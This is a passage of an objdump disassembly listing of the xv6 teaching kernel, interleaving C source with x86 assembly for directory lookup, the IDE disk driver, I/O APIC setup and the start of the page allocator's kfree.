ff 75 0c pushl 0xc(%ebp) 80101e4c: 50 push %eax 80101e4d: e8 de 2a 00 00 call 80104930 <strncpy> de.inum = inum; 80101e52: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e55: 6a 10 push $0x10 80101e57: 57 push %edi 80101e58: 56 push %esi 80101e59: 53 push %ebx if(de.inum == 0) break; } strncpy(de.name, name, DIRSIZ); de.inum = inum; 80101e5a: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e5e: e8 dd fb ff ff call 80101a40 <writei> 80101e63: 83 c4 20 add $0x20,%esp 80101e66: 83 f8 10 cmp $0x10,%eax 80101e69: 75 2a jne 80101e95 <dirlink+0xa5> panic("dirlink"); return 0; 80101e6b: 31 c0 xor %eax,%eax } 80101e6d: 8d 65 f4 lea -0xc(%ebp),%esp 80101e70: 5b pop %ebx 80101e71: 5e pop %esi 80101e72: 5f pop %edi 80101e73: 5d pop %ebp 80101e74: c3 ret struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ iput(ip); 80101e75: 83 ec 0c sub $0xc,%esp 80101e78: 50 push %eax 80101e79: e8 12 f9 ff ff call 80101790 <iput> return -1; 80101e7e: 83 c4 10 add $0x10,%esp 80101e81: b8 ff ff ff ff mov $0xffffffff,%eax 80101e86: eb e5 jmp 80101e6d <dirlink+0x7d> } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); 80101e88: 83 ec 0c sub $0xc,%esp 80101e8b: 68 88 74 10 80 push $0x80107488 80101e90: e8 db e4 ff ff call 80100370 <panic> } strncpy(de.name, name, DIRSIZ); de.inum = inum; if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink"); 80101e95: 83 ec 0c sub $0xc,%esp 80101e98: 68 8e 7b 10 80 push $0x80107b8e 80101e9d: e8 ce e4 ff ff call 80100370 <panic> 80101ea2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101eb0 <namei>: return ip; } struct inode* namei(char *path) { 80101eb0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101eb1: 31 d2 xor %edx,%edx return ip; } struct inode* namei(char *path) { 80101eb3: 89 e5 mov %esp,%ebp 80101eb5: 83 ec 18 sub $0x18,%esp char name[DIRSIZ]; return namex(path, 0, name); 80101eb8: 8b 45 08 mov 0x8(%ebp),%eax 80101ebb: 8d 4d ea lea -0x16(%ebp),%ecx 80101ebe: e8 7d fd ff ff call 80101c40 <namex> } 80101ec3: c9 leave 80101ec4: c3 ret 80101ec5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ec9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ed0 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101ed0: 55 push %ebp return namex(path, 1, name); 80101ed1: ba 01 00 00 00 mov $0x1,%edx return namex(path, 0, name); } struct inode* nameiparent(char *path, char *name) { 80101ed6: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101ed8: 8b 4d 0c mov 0xc(%ebp),%ecx 80101edb: 8b 45 08 mov 0x8(%ebp),%eax } 80101ede: 5d pop %ebp } struct inode* nameiparent(char *path, char *name) { return namex(path, 1, name); 80101edf: e9 5c fd ff ff jmp 80101c40 <namex> 80101ee4: 66 90 xchg %ax,%ax 80101ee6: 66 90 xchg %ax,%ax 80101ee8: 66 90 xchg %ax,%ax 80101eea: 66 90 xchg %ax,%ax 80101eec: 66 90 xchg %ax,%ax 80101eee: 66 90 xchg %ax,%ax 80101ef0 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101ef0: 55 push %ebp if(b == 0) 80101ef1: 85 c0 test %eax,%eax } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101ef3: 89 e5 mov %esp,%ebp 80101ef5: 56 push %esi 80101ef6: 53 push %ebx if(b == 0) 80101ef7: 0f 84 ad 00 00 00 je 80101faa <idestart+0xba> panic("idestart"); if(b->blockno >= FSSIZE) 80101efd: 8b 58 08 mov 0x8(%eax),%ebx 80101f00: 89 c1 mov %eax,%ecx 80101f02: 81 fb e7 03 00 00 cmp $0x3e7,%ebx 80101f08: 0f 87 8f 00 00 00 ja 80101f9d <idestart+0xad> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f0e: ba f7 01 00 00 mov $0x1f7,%edx 80101f13: 90 nop 80101f14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f18: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f19: 83 e0 c0 and $0xffffffc0,%eax 80101f1c: 3c 40 cmp $0x40,%al 80101f1e: 75 f8 jne 80101f18 <idestart+0x28> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f20: 31 f6 xor %esi,%esi 80101f22: ba f6 03 00 00 mov $0x3f6,%edx 80101f27: 89 f0 mov %esi,%eax 80101f29: ee out %al,(%dx) 80101f2a: ba f2 01 00 00 mov $0x1f2,%edx 80101f2f: b8 01 00 00 00 mov $0x1,%eax 80101f34: ee out %al,(%dx) 80101f35: ba f3 01 00 00 mov $0x1f3,%edx 80101f3a: 89 d8 mov %ebx,%eax 80101f3c: ee out %al,(%dx) 80101f3d: 89 d8 mov %ebx,%eax 80101f3f: ba f4 01 00 00 mov $0x1f4,%edx 80101f44: c1 f8 08 sar $0x8,%eax 80101f47: ee out %al,(%dx) 80101f48: ba f5 01 00 00 mov $0x1f5,%edx 80101f4d: 89 f0 mov %esi,%eax 80101f4f: ee out %al,(%dx) 80101f50: 0f b6 41 04 movzbl 0x4(%ecx),%eax 80101f54: ba f6 01 00 00 mov $0x1f6,%edx 80101f59: 83 e0 01 and $0x1,%eax 80101f5c: c1 e0 04 shl $0x4,%eax 80101f5f: 83 c8 e0 or $0xffffffe0,%eax 80101f62: ee out %al,(%dx) outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ 80101f63: f6 01 04 testb $0x4,(%ecx) 80101f66: ba f7 01 00 00 mov $0x1f7,%edx 80101f6b: 75 13 jne 80101f80 <idestart+0x90> 80101f6d: b8 20 00 00 00 mov $0x20,%eax 80101f72: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101f73: 8d 65 f8 lea -0x8(%ebp),%esp 80101f76: 5b pop %ebx 80101f77: 5e pop %esi 80101f78: 5d pop %ebp 80101f79: c3 ret 80101f7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101f80: b8 30 00 00 00 mov $0x30,%eax 80101f85: ee out %al,(%dx) } static inline void outsl(int port, const void *addr, int cnt) { asm volatile("cld; rep outsl" : 80101f86: ba f0 01 00 00 mov $0x1f0,%edx outb(0x1f4, (sector >> 8) & 0xff); outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); 80101f8b: 8d 71 5c lea 0x5c(%ecx),%esi 80101f8e: b9 80 00 00 00 mov $0x80,%ecx 80101f93: fc cld 80101f94: f3 6f rep outsl %ds:(%esi),(%dx) } else { outb(0x1f7, read_cmd); } } 80101f96: 8d 65 f8 lea -0x8(%ebp),%esp 80101f99: 5b pop %ebx 80101f9a: 5e pop %esi 80101f9b: 5d pop %ebp 80101f9c: c3 ret idestart(struct buf *b) { if(b == 0) panic("idestart"); if(b->blockno >= FSSIZE) panic("incorrect blockno"); 80101f9d: 83 ec 0c sub $0xc,%esp 80101fa0: 68 f4 74 10 80 push $0x801074f4 80101fa5: e8 c6 e3 ff ff call 80100370 <panic> // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { if(b == 0) panic("idestart"); 80101faa: 83 ec 0c sub $0xc,%esp 80101fad: 68 eb 74 10 80 push $0x801074eb 80101fb2: e8 b9 e3 ff ff call 80100370 <panic> 80101fb7: 89 f6 mov %esi,%esi 80101fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101fc0 <ideinit>: return 0; } void ideinit(void) { 80101fc0: 55 push %ebp 80101fc1: 89 e5 mov %esp,%ebp 80101fc3: 83 ec 10 sub $0x10,%esp int i; initlock(&idelock, "ide"); 80101fc6: 68 06 75 10 80 push $0x80107506 80101fcb: 68 80 a5 10 80 push $0x8010a580 80101fd0: e8 5b 25 00 00 call 80104530 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80101fd5: 58 pop %eax 80101fd6: a1 e0 28 11 80 mov 0x801128e0,%eax 80101fdb: 5a pop %edx 80101fdc: 83 e8 01 sub $0x1,%eax 80101fdf: 50 push %eax 80101fe0: 6a 0e push $0xe 80101fe2: e8 a9 02 00 00 call 80102290 <ioapicenable> 80101fe7: 83 c4 10 add $0x10,%esp static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101fea: ba f7 01 00 00 mov $0x1f7,%edx 80101fef: 90 nop 80101ff0: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101ff1: 83 e0 c0 and $0xffffffc0,%eax 80101ff4: 3c 40 cmp $0x40,%al 80101ff6: 75 f8 jne 80101ff0 <ideinit+0x30> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101ff8: ba f6 01 00 00 mov $0x1f6,%edx 80101ffd: b8 f0 ff ff ff mov $0xfffffff0,%eax 80102002: ee out %al,(%dx) 80102003: b9 e8 03 00 00 mov $0x3e8,%ecx static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102008: ba f7 01 00 00 mov $0x1f7,%edx 8010200d: eb 06 jmp 80102015 <ideinit+0x55> 8010200f: 90 nop ioapicenable(IRQ_IDE, ncpu - 1); idewait(0); // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); for(i=0; i<1000; i++){ 80102010: 83 e9 01 sub $0x1,%ecx 80102013: 74 0f je 80102024 <ideinit+0x64> 80102015: ec in (%dx),%al if(inb(0x1f7) != 0){ 80102016: 84 c0 test %al,%al 80102018: 74 f6 je 80102010 <ideinit+0x50> havedisk1 = 1; 8010201a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102021: 00 00 00 } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102024: ba f6 01 00 00 mov $0x1f6,%edx 80102029: b8 e0 ff ff ff mov $0xffffffe0,%eax 8010202e: ee out %al,(%dx) } } // Switch back to disk 0. outb(0x1f6, 0xe0 | (0<<4)); } 8010202f: c9 leave 80102030: c3 ret 80102031: eb 0d jmp 80102040 <ideintr> 80102033: 90 nop 80102034: 90 nop 80102035: 90 nop 80102036: 90 nop 80102037: 90 nop 80102038: 90 nop 80102039: 90 nop 8010203a: 90 nop 8010203b: 90 nop 8010203c: 90 nop 8010203d: 90 nop 8010203e: 90 nop 8010203f: 90 nop 80102040 <ideintr>: } // Interrupt handler. void ideintr(void) { 80102040: 55 push %ebp 80102041: 89 e5 mov %esp,%ebp 80102043: 57 push %edi 80102044: 56 push %esi 80102045: 53 push %ebx 80102046: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102049: 68 80 a5 10 80 push $0x8010a580 8010204e: e8 3d 26 00 00 call 80104690 <acquire> if((b = idequeue) == 0){ 80102053: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 80102059: 83 c4 10 add $0x10,%esp 8010205c: 85 db test %ebx,%ebx 8010205e: 74 34 je 80102094 <ideintr+0x54> release(&idelock); return; } idequeue = b->qnext; 80102060: 8b 43 58 mov 0x58(%ebx),%eax 80102063: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 80102068: 8b 33 mov (%ebx),%esi 8010206a: f7 c6 04 00 00 00 test $0x4,%esi 80102070: 74 3e je 801020b0 <ideintr+0x70> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102072: 83 e6 fb and $0xfffffffb,%esi wakeup(b); 80102075: 83 ec 0c sub $0xc,%esp if(!(b->flags & B_DIRTY) && idewait(1) >= 0) insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102078: 83 ce 02 or $0x2,%esi 8010207b: 89 33 mov %esi,(%ebx) wakeup(b); 8010207d: 53 push %ebx 8010207e: e8 6d 20 00 00 call 801040f0 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 80102083: a1 64 a5 10 80 mov 0x8010a564,%eax 80102088: 83 c4 10 add $0x10,%esp 8010208b: 85 c0 test %eax,%eax 8010208d: 74 05 je 80102094 <ideintr+0x54> idestart(idequeue); 8010208f: e8 5c fe ff ff call 80101ef0 <idestart> // First queued buffer is the active request. acquire(&idelock); if((b = idequeue) == 0){ release(&idelock); 80102094: 83 ec 0c sub $0xc,%esp 80102097: 68 80 a5 10 80 push $0x8010a580 8010209c: e8 9f 26 00 00 call 80104740 <release> // Start disk on next buf in queue. if(idequeue != 0) idestart(idequeue); release(&idelock); } 801020a1: 8d 65 f4 lea -0xc(%ebp),%esp 801020a4: 5b pop %ebx 801020a5: 5e pop %esi 801020a6: 5f pop %edi 801020a7: 5d pop %ebp 801020a8: c3 ret 801020a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020b0: ba f7 01 00 00 mov $0x1f7,%edx 801020b5: 8d 76 00 lea 0x0(%esi),%esi 801020b8: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020b9: 89 c1 mov %eax,%ecx 801020bb: 83 e1 c0 and $0xffffffc0,%ecx 801020be: 80 f9 40 cmp $0x40,%cl 801020c1: 75 f5 jne 801020b8 <ideintr+0x78> ; if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020c3: a8 21 test $0x21,%al 801020c5: 75 ab jne 80102072 <ideintr+0x32> } idequeue = b->qnext; // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) insl(0x1f0, b->data, BSIZE/4); 801020c7: 8d 7b 5c lea 0x5c(%ebx),%edi } static inline void insl(int port, void *addr, int cnt) { asm volatile("cld; rep insl" : 801020ca: b9 80 00 00 00 mov $0x80,%ecx 801020cf: ba f0 01 00 00 mov $0x1f0,%edx 801020d4: fc cld 801020d5: f3 6d rep insl (%dx),%es:(%edi) 801020d7: 8b 33 mov (%ebx),%esi 801020d9: eb 97 jmp 80102072 <ideintr+0x32> 801020db: 90 nop 801020dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801020e0 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 801020e0: 55 push %ebp 801020e1: 89 e5 mov %esp,%ebp 801020e3: 53 push %ebx 801020e4: 83 ec 10 sub $0x10,%esp 801020e7: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 801020ea: 8d 43 0c lea 0xc(%ebx),%eax 801020ed: 50 push %eax 801020ee: e8 ed 23 00 00 call 801044e0 <holdingsleep> 801020f3: 83 c4 10 add $0x10,%esp 801020f6: 85 c0 test %eax,%eax 801020f8: 0f 84 ad 00 00 00 je 801021ab <iderw+0xcb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 801020fe: 8b 03 mov (%ebx),%eax 80102100: 83 e0 06 and $0x6,%eax 80102103: 83 f8 02 cmp $0x2,%eax 80102106: 0f 84 b9 00 00 00 je 801021c5 <iderw+0xe5> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010210c: 8b 53 04 mov 0x4(%ebx),%edx 8010210f: 85 d2 test %edx,%edx 80102111: 74 0d je 80102120 <iderw+0x40> 80102113: a1 60 a5 10 80 mov 0x8010a560,%eax 80102118: 85 c0 test %eax,%eax 8010211a: 0f 84 98 00 00 00 je 801021b8 <iderw+0xd8> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 80102120: 83 ec 0c sub $0xc,%esp 80102123: 68 80 a5 10 80 push $0x8010a580 80102128: e8 63 25 00 00 call 80104690 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010212d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx 80102133: 83 c4 10 add $0x10,%esp panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; 80102136: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010213d: 85 d2 test %edx,%edx 8010213f: 75 09 jne 8010214a <iderw+0x6a> 80102141: eb 58 jmp 8010219b <iderw+0xbb> 80102143: 90 nop 80102144: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102148: 89 c2 mov %eax,%edx 8010214a: 8b 42 58 mov 0x58(%edx),%eax 8010214d: 85 c0 test %eax,%eax 8010214f: 75 f7 jne 80102148 <iderw+0x68> 80102151: 83 c2 58 add $0x58,%edx ; *pp = b; 80102154: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 80102156: 3b 1d 64 a5 10 80 cmp 0x8010a564,%ebx 8010215c: 74 44 je 801021a2 <iderw+0xc2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010215e: 8b 03 mov (%ebx),%eax 80102160: 83 e0 06 and $0x6,%eax 80102163: 83 f8 02 cmp $0x2,%eax 80102166: 74 23 je 8010218b <iderw+0xab> 80102168: 90 nop 80102169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(b, &idelock); 80102170: 83 ec 08 sub $0x8,%esp 80102173: 68 80 a5 10 80 push $0x8010a580 80102178: 53 push %ebx 80102179: e8 82 1c 00 00 call 80103e00 <sleep> // Start disk if necessary. if(idequeue == b) idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010217e: 8b 03 mov (%ebx),%eax 80102180: 83 c4 10 add $0x10,%esp 80102183: 83 e0 06 and $0x6,%eax 80102186: 83 f8 02 cmp $0x2,%eax 80102189: 75 e5 jne 80102170 <iderw+0x90> sleep(b, &idelock); } release(&idelock); 8010218b: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 80102192: 8b 5d fc mov -0x4(%ebp),%ebx 80102195: c9 leave while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ sleep(b, &idelock); } release(&idelock); 80102196: e9 a5 25 00 00 jmp 80104740 <release> acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010219b: ba 64 a5 10 80 mov $0x8010a564,%edx 801021a0: eb b2 jmp 80102154 <iderw+0x74> ; *pp = b; // Start disk if necessary. if(idequeue == b) idestart(b); 801021a2: 89 d8 mov %ebx,%eax 801021a4: e8 47 fd ff ff call 80101ef0 <idestart> 801021a9: eb b3 jmp 8010215e <iderw+0x7e> iderw(struct buf *b) { struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); 801021ab: 83 ec 0c sub $0xc,%esp 801021ae: 68 0a 75 10 80 push $0x8010750a 801021b3: e8 b8 e1 ff ff call 80100370 <panic> if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) panic("iderw: ide disk 1 not present"); 801021b8: 83 ec 0c sub $0xc,%esp 801021bb: 68 35 75 10 80 push $0x80107535 801021c0: e8 ab e1 ff ff call 80100370 <panic> struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); 801021c5: 83 ec 0c sub $0xc,%esp 801021c8: 68 20 75 10 80 push $0x80107520 801021cd: e8 9e e1 ff ff call 80100370 <panic> 801021d2: 66 90 xchg %ax,%ax 801021d4: 66 90 xchg %ax,%ax 801021d6: 66 90 xchg %ax,%ax 801021d8: 66 90 xchg %ax,%ax 801021da: 66 90 xchg %ax,%ax 801021dc: 66 90 xchg %ax,%ax 801021de: 66 90 xchg %ax,%ax 801021e0 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 801021e0: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 801021e1: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 801021e8: 00 c0 fe ioapic->data = data; } void ioapicinit(void) { 801021eb: 89 e5 mov %esp,%ebp 801021ed: 56 push %esi 801021ee: 53 push %ebx }; static uint ioapicread(int reg) { ioapic->reg = reg; 801021ef: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 801021f6: 00 00 00 return ioapic->data; 801021f9: 8b 15 34 26 11 80 mov 0x80112634,%edx 801021ff: 8b 72 10 mov 0x10(%edx),%esi }; static uint ioapicread(int reg) { ioapic->reg = reg; 80102202: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 80102208: 8b 0d 34 26 11 80 mov 0x80112634,%ecx int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 8010220e: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx ioapicinit(void) { int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102215: 89 f0 mov %esi,%eax 80102217: c1 e8 10 shr $0x10,%eax 8010221a: 0f b6 f0 movzbl %al,%esi static uint ioapicread(int reg) { ioapic->reg = reg; return ioapic->data; 8010221d: 8b 41 10 mov 0x10(%ecx),%eax int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102220: c1 e8 18 shr $0x18,%eax 80102223: 39 d0 cmp %edx,%eax 80102225: 74 16 je 8010223d <ioapicinit+0x5d> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102227: 83 ec 0c sub $0xc,%esp 8010222a: 68 54 75 10 80 push $0x80107554 8010222f: e8 2c e4 ff ff call 80100660 <cprintf> 80102234: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 8010223a: 83 c4 10 add $0x10,%esp 8010223d: 83 c6 21 add $0x21,%esi ioapic->data = data; } void ioapicinit(void) { 80102240: ba 10 00 00 00 mov $0x10,%edx 80102245: b8 20 00 00 00 mov $0x20,%eax 8010224a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 80102250: 89 11 mov %edx,(%ecx) ioapic->data = data; 80102252: 8b 0d 34 26 11 80 mov 0x80112634,%ecx cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102258: 89 c3 mov %eax,%ebx 8010225a: 81 cb 00 00 01 00 or $0x10000,%ebx 80102260: 83 c0 01 add $0x1,%eax static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 80102263: 89 59 10 mov %ebx,0x10(%ecx) 80102266: 8d 5a 01 lea 0x1(%edx),%ebx 80102269: 83 c2 02 add $0x2,%edx if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010226c: 39 f0 cmp %esi,%eax } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 8010226e: 89 19 mov %ebx,(%ecx) ioapic->data = data; 80102270: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 80102276: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010227d: 75 d1 jne 80102250 <ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010227f: 8d 65 f8 lea -0x8(%ebp),%esp 80102282: 5b pop %ebx 80102283: 5e pop %esi 80102284: 5d pop %ebp 80102285: c3 ret 80102286: 8d 76 00 lea 0x0(%esi),%esi 80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102290 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 80102290: 55 push %ebp } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 80102291: 8b 0d 34 26 11 80 mov 0x80112634,%ecx } } void ioapicenable(int irq, int cpunum) { 80102297: 89 e5 mov %esp,%ebp 80102299: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 8010229c: 8d 50 20 lea 0x20(%eax),%edx 8010229f: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022a3: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022a5: 8b 0d 34 26 11 80 mov 0x80112634,%ecx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022ab: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022ae: 89 51 10 mov %edx,0x10(%ecx) { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022b1: 8b 55 0c mov 0xc(%ebp),%edx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 801022b4: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022b6: a1 34 26 11 80 mov 0x80112634,%eax { // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022bb: c1 e2 18 shl $0x18,%edx static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; ioapic->data = data; 801022be: 89 50 10 mov %edx,0x10(%eax) // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); } 801022c1: 5d pop %ebp 801022c2: c3 ret 801022c3: 66 90 xchg %ax,%ax 801022c5: 66 90 xchg %ax,%ax 801022c7: 66 90 xchg %ax,%ax 801022c9: 66 90 xchg %ax,%ax 801022cb: 66 90 xchg %ax,%ax 801022cd: 66 90 xchg %ax,%ax 801022cf: 90 nop 801022d0 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 801022d0: 55 push %ebp 801022d1: 89 e5 mov %esp,%ebp 801022d3: 53 push %ebx 801022d4: 83 ec 04 sub $0x4,%esp 801022d7: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 801022da: f7 c3 ff 0f 00 00 test $0xfff,%ebx 801022e0: 75 70 jne 80102352 <kfree+0x82> 801022e2: 81 fb 88 5c 11 80 cmp $0x80115c88,%ebx 801022e8: 72 68 jb 80102352 <kfree+0x82> 801022ea: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801022f0: 3d ff ff ff 0d cmp $0xdffffff,%eax 801022f5: 77 5b ja 80102352 <kfree+0x82> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 801022f7: 83 ec 04 sub $0x4,%esp 801022fa: 68 00 10 00 00 push $0x1000 801022ff: 6a 01 push $0x1 80102301: 53 push %ebx 80102302: e8 89 24 00 00 call 80104790 <memset> if(kmem.use_lock) 80102307: 8b 15 74 26 11 80 mov 0x80112674,%edx 8010230d: 83 c4 10 add 